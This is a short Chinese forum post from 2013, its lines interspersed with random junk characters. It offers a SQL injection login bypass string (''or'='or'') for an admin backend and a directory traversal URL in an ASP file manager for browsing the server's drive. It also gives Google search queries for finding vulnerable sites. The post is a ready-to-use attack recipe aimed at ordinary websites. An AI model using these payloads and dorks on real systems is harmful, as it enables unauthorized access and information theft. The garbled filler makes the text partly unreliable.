后台万能密码 'or'='or'6 a3 L! s! |5 n& J, v
+ x0 @# X. z3 F! y E4 d. ~后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！& h N* {1 V# ^* t; [2 u
admin/uploadfile.asp?currentFolder=/upfiles/../
$ _7 N: W% ~* X# \( x9 W* X+ G2 o; ^9 h4 i, Y4 w
漏洞证明：
2 [% O2 h$ b8 Z4 K7 r, S; T) A5 s, h9 @1 \
谷歌：inurl:type.asp?id=1 新闻中心0 @5 z) m0 p4 R2 I. t/ D
或者 ：inurl:download_ok.asp?
+ @) }, o/ q; F$ d9 e! H- l7 B
: P& ?( j" K% f |
发表于 2013-3-14 20:17:32
收藏
支持
反对